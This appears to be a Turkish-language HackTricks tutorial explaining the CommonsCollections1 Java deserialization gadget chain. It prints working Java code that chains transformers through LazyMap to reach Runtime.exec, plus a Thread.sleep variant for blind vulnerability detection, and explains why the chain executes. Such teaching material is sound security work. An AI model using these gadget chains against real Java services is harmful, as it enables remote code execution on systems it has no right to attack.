CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

Java Transformers to Rutime exec()

Birkaç yerde, aşağıdaki gibi Apache common collections'tan gelen dönüştürücüler kullanan bir java deserialization payload'ı bulabilirsiniz:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Java deserializasyon yükleri hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir hesap makinesi çalıştıracağını anlamak zor olabilir.

Öncelikle, Java'da bir Dönüştürücü (Transformer), bir sınıf alır ve onu farklı bir sınıfa dönüştüren bir şeydir. Ayrıca burada çalıştırılan yükün eşdeğer olduğunu bilmek ilginç olabilir:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ya da daha doğru bir ifadeyle, sonunda neyin yürütüleceği şu olacak:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Nasıl

Peki, ilk payload nasıl "basit" tek satırlık olanlara eşdeğer olarak sunuluyor?

İlk olarak, payload içinde bir dizi (array) dönüşüm zinciri oluşturulduğunu fark edebilirsiniz:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Kodları okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz keyfi komutları çalıştırabilirsiniz.

Peki, bu dönüşümler nasıl zincirlenir?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Payload'ın son bölümünde bir Map nesnesi oluşturulduğunu görebilirsiniz. Ardından, LazyMap'ten decorate fonksiyonu, map nesnesi ve zincirlenmiş dönüştürücülerle birlikte çalıştırılır. Aşağıdaki kodlardan da görebileceğiniz gibi, bu, zincirlenmiş dönüştürücülerin lazyMap.factory özelliği içine kopyalanmasına neden olacaktır:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Ve ardından büyük final gerçekleştirilir: lazyMap.get("anything");

İşte get fonksiyonunun kodu:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Ve işte transform fonksiyonunun kodu:

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Öyleyse, factory içinde chainedTransformer'ı kaydettiğimizi hatırlayın ve transform fonksiyonunun içinde tüm bu zincirlenmiş dönüştürücülerden geçtiğimizi ve birbirini takip eden şekilde çalıştırdığımızı unutmayın. İlginç olan şey, her bir dönüştürücünün giriş olarak object'i kullandığı ve object'in en son çalıştırılan dönüştürücünün çıktısı olduğu. Bu nedenle, tüm dönüşümler kötü niyetli payload'u çalıştıran birbirine bağlı şekilde çalıştırılıyor.

Özet

Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get yöntemi içinde nasıl yönettiği nedeniyle, sanki aşağıdaki kodu çalıştırıyormuşuz gibi oluyor:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Not algoritmanın bir satırda çalışmasına izin veren, value'nun her dönüşümün girdisi ve önceki dönüşümün çıktısı olduğuna dikkat edin:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Burada, ComonsCollections1 payload'ı için kullanılan gadget'ların açıklandığı belirtilmiştir. Ancak, tüm bunların nasıl başladığı ve yürütüldüğü belirtilmemiştir. Burada ysoserial'in bu payload'ı yürütmek için bir AnnotationInvocationHandler nesnesi kullandığını görebilirsiniz çünkü bu nesne deserialize edildiğinde payload.get() fonksiyonunu çağıracak ve tüm payload'ı yürütecektir.

Java Thread Sleep

Bu payload, web'in savunmasız olup olmadığını belirlemek için uygun olabilir çünkü eğer savunmasızsa bir sleep işlemi gerçekleştirir.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Daha Fazla Gadget

Daha fazla gadget'i burada bulabilirsiniz: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

Last updated